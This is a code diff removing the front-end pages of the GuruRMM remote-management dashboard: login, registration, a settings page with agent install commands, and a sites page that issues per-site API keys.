||||
Agent
|
||||
</label>
|
||||
<Link
|
||||
to={`/agents/${command.agent_id}`}
|
||||
className="mt-1 block font-mono text-sm text-[var(--accent-cyan)] hover:underline"
|
||||
>
|
||||
{command.agent_id.slice(0, 12)}...
|
||||
</Link>
|
||||
</div>
|
||||
<div>
|
||||
<label className="text-xs font-mono font-semibold text-[var(--text-muted)] uppercase tracking-wider">
|
||||
Exit Code
|
||||
</label>
|
||||
<p className={`mt-1 font-mono text-sm ${command.exit_code === 0 ? "text-emerald-400" : command.exit_code !== null ? "text-rose-400" : "text-[var(--text-muted)]"}`}>
|
||||
{command.exit_code !== null ? command.exit_code : "-"}
|
||||
</p>
|
||||
</div>
|
||||
<div>
|
||||
<label className="text-xs font-mono font-semibold text-[var(--text-muted)] uppercase tracking-wider">
|
||||
Executed
|
||||
</label>
|
||||
<p className="mt-1 font-mono text-sm text-[var(--text-secondary)]">
|
||||
{formatRelativeTime(command.created_at)}
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Output */}
|
||||
{command.stdout && (
|
||||
<div>
|
||||
<label className="text-xs font-mono font-semibold text-[var(--text-muted)] uppercase tracking-wider">
|
||||
Output
|
||||
</label>
|
||||
<pre className="mt-1 p-3 rounded-lg bg-[var(--bg-primary)] border border-[var(--border-secondary)] font-mono text-xs text-[var(--text-secondary)] overflow-x-auto max-h-64 overflow-y-auto">
|
||||
{command.stdout}
|
||||
</pre>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Error */}
|
||||
{command.stderr && (
|
||||
<div>
|
||||
<label className="text-xs font-mono font-semibold text-rose-400 uppercase tracking-wider">
|
||||
Error Output
|
||||
</label>
|
||||
<pre className="mt-1 p-3 rounded-lg bg-rose-500/5 border border-rose-500/20 font-mono text-xs text-rose-300 overflow-x-auto max-h-64 overflow-y-auto">
|
||||
{command.stderr}
|
||||
</pre>
|
||||
</div>
|
||||
)}
|
||||
</CardContent>
|
||||
</Card>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -1,232 +0,0 @@
|
||||
import { useState, FormEvent } from "react";
|
||||
import { Link, useNavigate } from "react-router-dom";
|
||||
import { AxiosError } from "axios";
|
||||
import { useAuth } from "../hooks/useAuth";
|
||||
|
||||
interface ApiErrorResponse {
|
||||
error?: string;
|
||||
message?: string;
|
||||
}
|
||||
|
||||
/**
|
||||
* Floating geometric shape component for background decoration
|
||||
*/
|
||||
function FloatingShape({
|
||||
className,
|
||||
delay = 0,
|
||||
size = 40
|
||||
}: {
|
||||
className?: string;
|
||||
delay?: number;
|
||||
size?: number;
|
||||
}) {
|
||||
return (
|
||||
<div
|
||||
className={`absolute opacity-20 ${className}`}
|
||||
style={{
|
||||
width: size,
|
||||
height: size,
|
||||
animationDelay: `${delay}s`,
|
||||
}}
|
||||
>
|
||||
<div
|
||||
className="w-full h-full border border-cyan-500/30 rotate-45 animate-float"
|
||||
style={{ animationDelay: `${delay}s` }}
|
||||
/>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export function Login() {
|
||||
const [email, setEmail] = useState("");
|
||||
const [password, setPassword] = useState("");
|
||||
const [error, setError] = useState("");
|
||||
const [isLoading, setIsLoading] = useState(false);
|
||||
const { login } = useAuth();
|
||||
const navigate = useNavigate();
|
||||
|
||||
const handleSubmit = async (e: FormEvent) => {
|
||||
e.preventDefault();
|
||||
setError("");
|
||||
setIsLoading(true);
|
||||
|
||||
try {
|
||||
await login(email, password);
|
||||
navigate("/");
|
||||
} catch (err) {
|
||||
if (err instanceof AxiosError) {
|
||||
const errorData = err.response?.data as ApiErrorResponse | undefined;
|
||||
setError(errorData?.error || errorData?.message || err.message || "Login failed. Please try again.");
|
||||
} else if (err instanceof Error) {
|
||||
setError(err.message);
|
||||
} else {
|
||||
setError("An unexpected error occurred");
|
||||
}
|
||||
} finally {
|
||||
setIsLoading(false);
|
||||
}
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="min-h-screen flex items-center justify-center relative overflow-hidden bg-[hsl(var(--bg-primary))]">
|
||||
{/* Gradient background overlay */}
|
||||
<div className="absolute inset-0 bg-gradient-to-br from-[hsl(var(--bg-primary))] via-[hsl(var(--bg-secondary))] to-[hsl(222_47%_8%)]" />
|
||||
|
||||
{/* Animated grid pattern */}
|
||||
<div className="absolute inset-0 bg-grid-pattern opacity-30 animate-grid" />
|
||||
|
||||
{/* Radial gradient spotlight */}
|
||||
<div className="absolute inset-0 bg-[radial-gradient(ellipse_at_center,_hsl(var(--accent-cyan)/0.08)_0%,_transparent_70%)]" />
|
||||
|
||||
{/* Floating geometric shapes */}
|
||||
<FloatingShape className="top-[10%] left-[10%]" delay={0} size={60} />
|
||||
<FloatingShape className="top-[20%] right-[15%]" delay={1.5} size={40} />
|
||||
<FloatingShape className="bottom-[30%] left-[8%]" delay={3} size={50} />
|
||||
<FloatingShape className="bottom-[15%] right-[12%]" delay={2} size={35} />
|
||||
<FloatingShape className="top-[50%] left-[5%]" delay={4} size={25} />
|
||||
<FloatingShape className="top-[40%] right-[8%]" delay={2.5} size={45} />
|
||||
|
||||
{/* Login Card */}
|
||||
<div className="relative z-10 w-full max-w-md mx-4 animate-fade-in-up">
|
||||
<div className="glass rounded-2xl p-8 shadow-2xl">
|
||||
{/* Logo and Branding */}
|
||||
<div className="text-center mb-8">
|
||||
{/* Logo Icon */}
|
||||
<div className="inline-flex items-center justify-center w-16 h-16 rounded-2xl bg-gradient-to-br from-cyan-500/20 to-teal-500/20 border border-cyan-500/30 mb-4 glow-cyan">
|
||||
<svg
|
||||
className="w-8 h-8 text-cyan-400"
|
||||
fill="none"
|
||||
stroke="currentColor"
|
||||
viewBox="0 0 24 24"
|
||||
>
|
||||
<path
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
strokeWidth={1.5}
|
||||
d="M9 3v2m6-2v2M9 19v2m6-2v2M5 9H3m2 6H3m18-6h-2m2 6h-2M7 19h10a2 2 0 002-2V7a2 2 0 00-2-2H7a2 2 0 00-2 2v10a2 2 0 002 2zM9 9h6v6H9V9z"
|
||||
/>
|
||||
</svg>
|
||||
</div>
|
||||
|
||||
{/* Title with gradient */}
|
||||
<h1 className="text-3xl font-bold font-mono-display gradient-text-cyan-teal tracking-tight">
|
||||
GuruRMM
|
||||
</h1>
|
||||
|
||||
{/* Subtitle */}
|
||||
<p className="mt-2 text-sm text-[hsl(var(--text-muted))] uppercase tracking-widest-custom font-mono-display">
|
||||
Mission Control
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* Login Form */}
|
||||
<form onSubmit={handleSubmit} className="space-y-6">
|
||||
{/* Error Message */}
|
||||
{error && (
|
||||
<div className="p-4 rounded-lg bg-rose-950/50 border border-rose-500/30 animate-pulse-subtle">
|
||||
<p className="text-sm text-rose-300 flex items-center gap-2">
|
||||
<svg className="w-4 h-4 flex-shrink-0" fill="none" stroke="currentColor" viewBox="0 0 24 24">
|
||||
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth={2} d="M12 8v4m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z" />
|
||||
</svg>
|
||||
{error}
|
||||
</p>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Email Field */}
|
||||
<div className="space-y-2">
|
||||
<label
|
||||
htmlFor="email"
|
||||
className="block text-xs font-medium text-[hsl(var(--text-secondary))] uppercase tracking-wider"
|
||||
>
|
||||
Email Address
|
||||
</label>
|
||||
<input
|
||||
id="email"
|
||||
type="email"
|
||||
placeholder="operator@example.com"
|
||||
value={email}
|
||||
onChange={(e) => setEmail(e.target.value)}
|
||||
required
|
||||
autoComplete="email"
|
||||
className="w-full px-4 py-3 rounded-lg input-mission-control text-sm"
|
||||
/>
|
||||
</div>
|
||||
|
||||
{/* Password Field */}
|
||||
<div className="space-y-2">
|
||||
<label
|
||||
htmlFor="password"
|
||||
className="block text-xs font-medium text-[hsl(var(--text-secondary))] uppercase tracking-wider"
|
||||
>
|
||||
Password
|
||||
</label>
|
||||
<input
|
||||
id="password"
|
||||
type="password"
|
||||
placeholder="Enter your password"
|
||||
value={password}
|
||||
onChange={(e) => setPassword(e.target.value)}
|
||||
required
|
||||
autoComplete="current-password"
|
||||
className="w-full px-4 py-3 rounded-lg input-mission-control text-sm"
|
||||
/>
|
||||
</div>
|
||||
|
||||
{/* Submit Button */}
|
||||
<button
|
||||
type="submit"
|
||||
disabled={isLoading}
|
||||
className={`w-full py-3 px-4 rounded-lg btn-mission-control text-sm uppercase tracking-wider ${isLoading ? 'loading' : ''}`}
|
||||
>
|
||||
{isLoading ? (
|
||||
<span className="flex items-center justify-center gap-2">
|
||||
<svg className="w-4 h-4 animate-spin" fill="none" viewBox="0 0 24 24">
|
||||
<circle className="opacity-25" cx="12" cy="12" r="10" stroke="currentColor" strokeWidth="4" />
|
||||
<path className="opacity-75" fill="currentColor" d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z" />
|
||||
</svg>
|
||||
Authenticating...
|
||||
</span>
|
||||
) : (
|
||||
<span className="flex items-center justify-center gap-2">
|
||||
<svg className="w-4 h-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
|
||||
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth={2} d="M11 16l-4-4m0 0l4-4m-4 4h14m-5 4v1a3 3 0 01-3 3H6a3 3 0 01-3-3V7a3 3 0 013-3h7a3 3 0 013 3v1" />
|
||||
</svg>
|
||||
Access System
|
||||
</span>
|
||||
)}
|
||||
</button>
|
||||
</form>
|
||||
|
||||
{/* Divider */}
|
||||
<div className="relative my-6">
|
||||
<div className="absolute inset-0 flex items-center">
|
||||
<div className="w-full border-t border-[hsl(var(--glass-border))]" />
|
||||
</div>
|
||||
<div className="relative flex justify-center text-xs">
|
||||
<span className="px-3 bg-[hsl(var(--glass-bg))] text-[hsl(var(--text-muted))]">
|
||||
OR
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Register Link */}
|
||||
<p className="text-center text-sm text-[hsl(var(--text-secondary))]">
|
||||
New operator?{" "}
|
||||
<Link
|
||||
to="/register"
|
||||
className="text-cyan-400 hover:text-cyan-300 transition-colors font-medium hover:underline underline-offset-4"
|
||||
>
|
||||
Request Access
|
||||
</Link>
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* Footer tagline */}
|
||||
<p className="text-center mt-6 text-xs text-[hsl(var(--text-muted))] font-mono-display">
|
||||
Secure Remote Management Infrastructure
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -1,134 +0,0 @@
|
||||
import { useState, FormEvent } from "react";
|
||||
import { Link, useNavigate } from "react-router-dom";
|
||||
import { AxiosError } from "axios";
|
||||
import { useAuth } from "../hooks/useAuth";
|
||||
import { Card, CardHeader, CardTitle, CardDescription, CardContent } from "../components/Card";
|
||||
import { Input } from "../components/Input";
|
||||
import { Button } from "../components/Button";
|
||||
|
||||
interface ApiErrorResponse {
|
||||
error?: string;
|
||||
message?: string;
|
||||
}
|
||||
|
||||
export function Register() {
|
||||
const [email, setEmail] = useState("");
|
||||
const [password, setPassword] = useState("");
|
||||
const [confirmPassword, setConfirmPassword] = useState("");
|
||||
const [name, setName] = useState("");
|
||||
const [error, setError] = useState("");
|
||||
const [isLoading, setIsLoading] = useState(false);
|
||||
const { register } = useAuth();
|
||||
const navigate = useNavigate();
|
||||
|
||||
const handleSubmit = async (e: FormEvent) => {
|
||||
e.preventDefault();
|
||||
setError("");
|
||||
|
||||
if (password !== confirmPassword) {
|
||||
setError("Passwords do not match");
|
||||
return;
|
||||
}
|
||||
|
||||
if (password.length < 8) {
|
||||
setError("Password must be at least 8 characters");
|
||||
return;
|
||||
}
|
||||
|
||||
setIsLoading(true);
|
||||
|
||||
try {
|
||||
await register(email, password, name || undefined);
|
||||
navigate("/");
|
||||
} catch (err) {
|
||||
if (err instanceof AxiosError) {
|
||||
const errorData = err.response?.data as ApiErrorResponse | undefined;
|
||||
setError(errorData?.error || errorData?.message || err.message || "Registration failed. Please try again.");
|
||||
} else if (err instanceof Error) {
|
||||
setError(err.message);
|
||||
} else {
|
||||
setError("An unexpected error occurred");
|
||||
}
|
||||
} finally {
|
||||
setIsLoading(false);
|
||||
}
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="min-h-screen flex items-center justify-center bg-[hsl(var(--background))] px-4">
|
||||
<Card className="w-full max-w-md">
|
||||
<CardHeader className="text-center">
|
||||
<CardTitle className="text-2xl">Create Account</CardTitle>
|
||||
<CardDescription>Set up your GuruRMM account</CardDescription>
|
||||
</CardHeader>
|
||||
<CardContent>
|
||||
<form onSubmit={handleSubmit} className="space-y-4">
|
||||
{error && (
|
||||
<div className="p-3 text-sm text-[hsl(var(--destructive))] bg-[hsl(var(--destructive))]/10 rounded-md">
|
||||
{error}
|
||||
</div>
|
||||
)}
|
||||
<div className="space-y-2">
|
||||
<label htmlFor="name" className="text-sm font-medium">
|
||||
Name (optional)
|
||||
</label>
|
||||
<Input
|
||||
id="name"
|
||||
type="text"
|
||||
placeholder="John Doe"
|
||||
value={name}
|
||||
onChange={(e) => setName(e.target.value)}
|
||||
/>
|
||||
</div>
|
||||
<div className="space-y-2">
|
||||
<label htmlFor="email" className="text-sm font-medium">
|
||||
Email
|
||||
</label>
|
||||
<Input
|
||||
id="email"
|
||||
type="email"
|
||||
placeholder="admin@example.com"
|
||||
value={email}
|
||||
onChange={(e) => setEmail(e.target.value)}
|
||||
required
|
||||
/>
|
||||
</div>
|
||||
<div className="space-y-2">
|
||||
<label htmlFor="password" className="text-sm font-medium">
|
||||
Password
|
||||
</label>
|
||||
<Input
|
||||
id="password"
|
||||
type="password"
|
||||
value={password}
|
||||
onChange={(e) => setPassword(e.target.value)}
|
||||
required
|
||||
/>
|
||||
</div>
|
||||
<div className="space-y-2">
|
||||
<label htmlFor="confirmPassword" className="text-sm font-medium">
|
||||
Confirm Password
|
||||
</label>
|
||||
<Input
|
||||
id="confirmPassword"
|
||||
type="password"
|
||||
value={confirmPassword}
|
||||
onChange={(e) => setConfirmPassword(e.target.value)}
|
||||
required
|
||||
/>
|
||||
</div>
|
||||
<Button type="submit" className="w-full" disabled={isLoading}>
|
||||
{isLoading ? "Creating account..." : "Create account"}
|
||||
</Button>
|
||||
</form>
|
||||
<div className="mt-4 text-center text-sm">
|
||||
Already have an account?{" "}
|
||||
<Link to="/login" className="text-[hsl(var(--primary))] hover:underline">
|
||||
Sign in
|
||||
</Link>
|
||||
</div>
|
||||
</CardContent>
|
||||
</Card>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -1,96 +0,0 @@
|
||||
import { useAuth } from "../hooks/useAuth";
|
||||
import { Card, CardHeader, CardTitle, CardDescription, CardContent } from "../components/Card";
|
||||
|
||||
export function Settings() {
|
||||
const { user } = useAuth();
|
||||
|
||||
return (
|
||||
<div className="space-y-6">
|
||||
<div>
|
||||
<h1 className="text-3xl font-bold">Settings</h1>
|
||||
<p className="text-[hsl(var(--muted-foreground))]">
|
||||
Manage your account and preferences
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<Card>
|
||||
<CardHeader>
|
||||
<CardTitle>Profile</CardTitle>
|
||||
<CardDescription>Your account information</CardDescription>
|
||||
</CardHeader>
|
||||
<CardContent>
|
||||
<dl className="space-y-4">
|
||||
<div>
|
||||
<dt className="text-sm text-[hsl(var(--muted-foreground))]">Email</dt>
|
||||
<dd className="font-medium">{user?.email}</dd>
|
||||
</div>
|
||||
<div>
|
||||
<dt className="text-sm text-[hsl(var(--muted-foreground))]">Name</dt>
|
||||
<dd className="font-medium">{user?.name || "-"}</dd>
|
||||
</div>
|
||||
<div>
|
||||
<dt className="text-sm text-[hsl(var(--muted-foreground))]">Role</dt>
|
||||
<dd className="font-medium capitalize">{user?.role}</dd>
|
||||
</div>
|
||||
</dl>
|
||||
</CardContent>
|
||||
</Card>
|
||||
|
||||
<Card>
|
||||
<CardHeader>
|
||||
<CardTitle>Agent Deployment</CardTitle>
|
||||
<CardDescription>Deploy agents to your endpoints</CardDescription>
|
||||
</CardHeader>
|
||||
<CardContent>
|
||||
<div className="space-y-4 text-sm">
|
||||
<p className="text-[hsl(var(--muted-foreground))]">
|
||||
To deploy an agent to a new endpoint, download and run the agent installer
|
||||
with your server URL.
|
||||
</p>
|
||||
<div className="bg-[hsl(var(--muted))] p-4 rounded-md">
|
||||
<p className="font-medium mb-2">Windows (PowerShell as Admin):</p>
|
||||
<pre className="text-xs overflow-x-auto whitespace-pre-wrap">
|
||||
{`# Install as a service
|
||||
.\\gururmm-agent.exe install --server wss://rmm-api.azcomputerguru.com/ws --api-key YOUR_API_KEY
|
||||
|
||||
# Or run standalone for testing
|
||||
.\\gururmm-agent.exe --server wss://rmm-api.azcomputerguru.com/ws --api-key YOUR_API_KEY`}
|
||||
</pre>
|
||||
</div>
|
||||
<div className="bg-[hsl(var(--muted))] p-4 rounded-md">
|
||||
<p className="font-medium mb-2">Linux (as root):</p>
|
||||
<pre className="text-xs overflow-x-auto whitespace-pre-wrap">
|
||||
{`# Install as a systemd service
|
||||
sudo ./gururmm-agent install --server wss://rmm-api.azcomputerguru.com/ws --api-key YOUR_API_KEY
|
||||
|
||||
# Or run standalone for testing
|
||||
./gururmm-agent --server wss://rmm-api.azcomputerguru.com/ws --api-key YOUR_API_KEY`}
|
||||
</pre>
|
||||
</div>
|
||||
</div>
|
||||
</CardContent>
|
||||
</Card>
|
||||
|
||||
<Card>
|
||||
<CardHeader>
|
||||
<CardTitle>About</CardTitle>
|
||||
<CardDescription>System information</CardDescription>
|
||||
</CardHeader>
|
||||
<CardContent>
|
||||
<dl className="space-y-2 text-sm">
|
||||
<div className="flex justify-between">
|
||||
<dt className="text-[hsl(var(--muted-foreground))]">Dashboard Version</dt>
|
||||
<dd>1.0.0</dd>
|
||||
</div>
|
||||
<div className="flex justify-between">
|
||||
<dt className="text-[hsl(var(--muted-foreground))]">API Endpoint</dt>
|
||||
<dd className="font-mono text-xs">
|
||||
{import.meta.env.VITE_API_URL || "http://localhost:3001"}
|
||||
</dd>
|
||||
</div>
|
||||
</dl>
|
||||
</CardContent>
|
||||
</Card>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -1,470 +0,0 @@
|
||||
import { useState } from "react";
|
||||
import { useQuery, useMutation, useQueryClient } from "@tanstack/react-query";
|
||||
import { Plus, Trash2, Edit2, MapPin, RefreshCw, Key, Copy, Check } from "lucide-react";
|
||||
import { sitesApi, clientsApi, Site, Client, CreateSiteResponse } from "../api/client";
|
||||
import { Card, CardHeader, CardTitle, CardContent } from "../components/Card";
|
||||
import { Button } from "../components/Button";
|
||||
import { Input } from "../components/Input";
|
||||
|
||||
interface SiteFormData {
|
||||
client_id: string;
|
||||
name: string;
|
||||
address: string;
|
||||
notes: string;
|
||||
}
|
||||
|
||||
function ApiKeyModal({
|
||||
apiKey,
|
||||
siteCode,
|
||||
onClose,
|
||||
}: {
|
||||
apiKey: string;
|
||||
siteCode: string;
|
||||
onClose: () => void;
|
||||
}) {
|
||||
const [copied, setCopied] = useState(false);
|
||||
|
||||
const handleCopy = () => {
|
||||
navigator.clipboard.writeText(apiKey);
|
||||
setCopied(true);
|
||||
setTimeout(() => setCopied(false), 2000);
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="fixed inset-0 bg-black/50 flex items-center justify-center z-50">
|
||||
<div className="bg-[hsl(var(--card))] rounded-lg p-6 w-full max-w-lg">
|
||||
<div className="flex items-center gap-3 mb-4">
|
||||
<div className="h-10 w-10 rounded-full bg-green-100 flex items-center justify-center">
|
||||
<Key className="h-5 w-5 text-green-600" />
|
||||
</div>
|
||||
<div>
|
||||
<h2 className="text-xl font-bold">Site Created!</h2>
|
||||
<p className="text-sm text-[hsl(var(--muted-foreground))]">
|
||||
Site Code: <span className="font-mono font-bold">{siteCode}</span>
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="bg-yellow-50 border border-yellow-200 rounded-lg p-4 mb-4">
|
||||
<p className="text-sm text-yellow-800 font-medium mb-2">
|
||||
Save this API key now - it will not be shown again!
|
||||
</p>
|
||||
<p className="text-xs text-yellow-700">
|
||||
Configure agents with this API key to auto-register under this site.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div className="mb-6">
|
||||
<label className="block text-sm font-medium mb-2">API Key</label>
|
||||
<div className="flex gap-2">
|
||||
<Input
|
||||
value={apiKey}
|
||||
readOnly
|
||||
className="font-mono text-sm"
|
||||
/>
|
||||
<Button variant="outline" onClick={handleCopy}>
|
||||
{copied ? <Check className="h-4 w-4" /> : <Copy className="h-4 w-4" />}
|
||||
</Button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="flex justify-end">
|
||||
<Button onClick={onClose}>Done</Button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function SiteModal({
|
||||
site,
|
||||
clients,
|
||||
onClose,
|
||||
onSave,
|
||||
isLoading,
|
||||
}: {
|
||||
site?: Site;
|
||||
clients: Client[];
|
||||
onClose: () => void;
|
||||
onSave: (data: SiteFormData) => void;
|
||||
isLoading: boolean;
|
||||
}) {
|
||||
const [formData, setFormData] = useState<SiteFormData>({
|
||||
client_id: site?.client_id || (clients[0]?.id || ""),
|
||||
name: site?.name || "",
|
||||
address: site?.address || "",
|
||||
notes: site?.notes || "",
|
||||
});
|
||||
|
||||
const handleSubmit = (e: React.FormEvent) => {
|
||||
e.preventDefault();
|
||||
onSave(formData);
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="fixed inset-0 bg-black/50 flex items-center justify-center z-50">
|
||||
<div className="bg-[hsl(var(--card))] rounded-lg p-6 w-full max-w-md">
|
||||
<h2 className="text-xl font-bold mb-4">
|
||||
{site ? "Edit Site" : "New Site"}
|
||||
</h2>
|
||||
<form onSubmit={handleSubmit} className="space-y-4">
|
||||
<div>
|
||||
<label className="block text-sm font-medium mb-1">Client *</label>
|
||||
<select
|
||||
value={formData.client_id}
|
||||
onChange={(e) => setFormData({ ...formData, client_id: e.target.value })}
|
||||
className="w-full px-3 py-2 rounded-md border border-[hsl(var(--border))] bg-[hsl(var(--background))] text-sm"
|
||||
required
|
||||
disabled={!!site}
|
||||
>
|
||||
<option value="">Select a client...</option>
|
||||
{clients.map((client) => (
|
||||
<option key={client.id} value={client.id}>
|
||||
{client.name} {client.code && `(${client.code})`}
|
||||
</option>
|
||||
))}
|
||||
</select>
|
||||
</div>
|
||||
<div>
|
||||
<label className="block text-sm font-medium mb-1">Site Name *</label>
|
||||
<Input
|
||||
value={formData.name}
|
||||
onChange={(e) => setFormData({ ...formData, name: e.target.value })}
|
||||
placeholder="Main Office, Branch 1, etc."
|
||||
required
|
||||
/>
|
||||
</div>
|
||||
<div>
|
||||
<label className="block text-sm font-medium mb-1">Address</label>
|
||||
<Input
|
||||
value={formData.address}
|
||||
onChange={(e) => setFormData({ ...formData, address: e.target.value })}
|
||||
placeholder="123 Main St, City, State"
|
||||
/>
|
||||
</div>
|
||||
<div>
|
||||
<label className="block text-sm font-medium mb-1">Notes</label>
|
||||
<textarea
|
||||
value={formData.notes}
|
||||
onChange={(e) => setFormData({ ...formData, notes: e.target.value })}
|
||||
placeholder="Optional notes..."
|
||||
className="w-full px-3 py-2 rounded-md border border-[hsl(var(--border))] bg-[hsl(var(--background))] text-sm"
|
||||
rows={3}
|
||||
/>
|
||||
</div>
|
||||
<div className="flex justify-end gap-2 pt-4">
|
||||
<Button type="button" variant="ghost" onClick={onClose}>
|
||||
Cancel
|
||||
</Button>
|
||||
<Button type="submit" disabled={isLoading || !formData.name.trim() || !formData.client_id}>
|
||||
{isLoading ? "Saving..." : site ? "Update" : "Create"}
|
||||
</Button>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export function Sites() {
|
||||
const [search, setSearch] = useState("");
|
||||
const [showModal, setShowModal] = useState(false);
|
||||
const [editingSite, setEditingSite] = useState<Site | undefined>();
|
||||
const [deleteConfirm, setDeleteConfirm] = useState<string | null>(null);
|
||||
const [newSiteApiKey, setNewSiteApiKey] = useState<{ apiKey: string; siteCode: string } | null>(null);
|
||||
const [regeneratingKey, setRegeneratingKey] = useState<string | null>(null);
|
||||
const queryClient = useQueryClient();
|
||||
|
||||
const { data: sites = [], isLoading, refetch } = useQuery({
|
||||
queryKey: ["sites"],
|
||||
queryFn: () => sitesApi.list().then((res) => res.data),
|
||||
});
|
||||
|
||||
const { data: clients = [] } = useQuery({
|
||||
queryKey: ["clients"],
|
||||
queryFn: () => clientsApi.list().then((res) => res.data),
|
||||
});
|
||||
|
||||
const createMutation = useMutation({
|
||||
mutationFn: (data: SiteFormData) => sitesApi.create(data),
|
||||
onSuccess: (response) => {
|
||||
queryClient.invalidateQueries({ queryKey: ["sites"] });
|
||||
queryClient.invalidateQueries({ queryKey: ["clients"] });
|
||||
setShowModal(false);
|
||||
// Show API key modal
|
||||
const data = response.data as CreateSiteResponse;
|
||||
setNewSiteApiKey({ apiKey: data.api_key, siteCode: data.site.site_code });
|
||||
},
|
||||
onError: (error: Error) => {
|
||||
console.error("Failed to create site:", error);
|
||||
alert(`Failed to create site: ${error.message}`);
|
||||
},
|
||||
});
|
||||
|
||||
const updateMutation = useMutation({
|
||||
mutationFn: ({ id, data }: { id: string; data: Partial<SiteFormData> }) =>
|
||||
sitesApi.update(id, data),
|
||||
onSuccess: () => {
|
||||
queryClient.invalidateQueries({ queryKey: ["sites"] });
|
||||
setShowModal(false);
|
||||
setEditingSite(undefined);
|
||||
},
|
||||
onError: (error: Error) => {
|
||||
console.error("Failed to update site:", error);
|
||||
alert(`Failed to update site: ${error.message}`);
|
||||
},
|
||||
});
|
||||
|
||||
const deleteMutation = useMutation({
|
||||
mutationFn: (id: string) => sitesApi.delete(id),
|
||||
onSuccess: () => {
|
||||
queryClient.invalidateQueries({ queryKey: ["sites"] });
|
||||
queryClient.invalidateQueries({ queryKey: ["clients"] });
|
||||
setDeleteConfirm(null);
|
||||
},
|
||||
onError: (error: Error) => {
|
||||
console.error("Failed to delete site:", error);
|
||||
alert(`Failed to delete site: ${error.message}`);
|
||||
},
|
||||
});
|
||||
|
||||
const regenerateKeyMutation = useMutation({
|
||||
mutationFn: (id: string) => sitesApi.regenerateApiKey(id),
|
||||
onSuccess: (response, id) => {
|
||||
const site = sites.find((s: Site) => s.id === id);
|
||||
setNewSiteApiKey({
|
||||
apiKey: response.data.api_key,
|
||||
siteCode: site?.site_code || "Unknown",
|
||||
});
|
||||
setRegeneratingKey(null);
|
||||
},
|
||||
onError: (error: Error) => {
|
||||
console.error("Failed to regenerate API key:", error);
|
||||
alert(`Failed to regenerate API key: ${error.message}`);
|
||||
setRegeneratingKey(null);
|
||||
},
|
||||
});
|
||||
|
||||
const handleSave = (data: SiteFormData) => {
|
||||
if (editingSite) {
|
||||
updateMutation.mutate({ id: editingSite.id, data });
|
||||
} else {
|
||||
createMutation.mutate(data);
|
||||
}
|
||||
};
|
||||
|
||||
const handleEdit = (site: Site) => {
|
||||
setEditingSite(site);
|
||||
setShowModal(true);
|
||||
};
|
||||
|
||||
const handleCloseModal = () => {
|
||||
setShowModal(false);
|
||||
setEditingSite(undefined);
|
||||
};
|
||||
|
||||
const filteredSites = sites.filter(
|
||||
(site: Site) =>
|
||||
site.name.toLowerCase().includes(search.toLowerCase()) ||
|
||||
site.site_code.toLowerCase().includes(search.toLowerCase()) ||
|
||||
(site.client_name && site.client_name.toLowerCase().includes(search.toLowerCase()))
|
||||
);
|
||||
|
||||
return (
|
||||
<div className="space-y-6">
|
||||
<div className="flex items-center justify-between">
|
||||
<div>
|
||||
<h1 className="text-3xl font-bold">Sites</h1>
|
||||
<p className="text-[hsl(var(--muted-foreground))]">
|
||||
Manage client locations and their agent registrations
|
||||
</p>
|
||||
</div>
|
||||
<div className="flex gap-2">
|
||||
<Button variant="outline" size="sm" onClick={() => refetch()}>
|
||||
<RefreshCw className="h-4 w-4 mr-2" />
|
||||
Refresh
|
||||
</Button>
|
||||
<Button size="sm" onClick={() => setShowModal(true)} disabled={clients.length === 0}>
|
||||
<Plus className="h-4 w-4 mr-2" />
|
||||
Add Site
|
||||
</Button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{clients.length === 0 && (
|
||||
<div className="bg-yellow-50 border border-yellow-200 rounded-lg p-4">
|
||||
<p className="text-sm text-yellow-800">
|
||||
You need to create a client before you can add sites.
|
||||
</p>
|
||||
</div>
|
||||
)}
|
||||
|
||||
<div className="flex items-center gap-4">
|
||||
<Input
|
||||
placeholder="Search sites..."
|
||||
value={search}
|
||||
onChange={(e) => setSearch(e.target.value)}
|
||||
className="max-w-sm"
|
||||
/>
|
||||
</div>
|
||||
|
||||
<Card>
|
||||
<CardHeader>
|
||||
<CardTitle>All Sites</CardTitle>
|
||||
</CardHeader>
|
||||
<CardContent>
|
||||
{isLoading ? (
|
||||
<p className="text-[hsl(var(--muted-foreground))]">Loading sites...</p>
|
||||
) : filteredSites.length === 0 ? (
|
||||
<div className="text-center py-8">
|
||||
<MapPin className="h-12 w-12 mx-auto text-[hsl(var(--muted-foreground))] mb-4" />
|
||||
<p className="text-[hsl(var(--muted-foreground))]">
|
||||
{search ? "No sites match your search." : "No sites yet. Add your first site to get started."}
|
||||
</p>
|
||||
</div>
|
||||
) : (
|
||||
<div className="overflow-x-auto">
|
||||
<table className="w-full">
|
||||
<thead>
|
||||
<tr className="border-b border-[hsl(var(--border))]">
|
||||
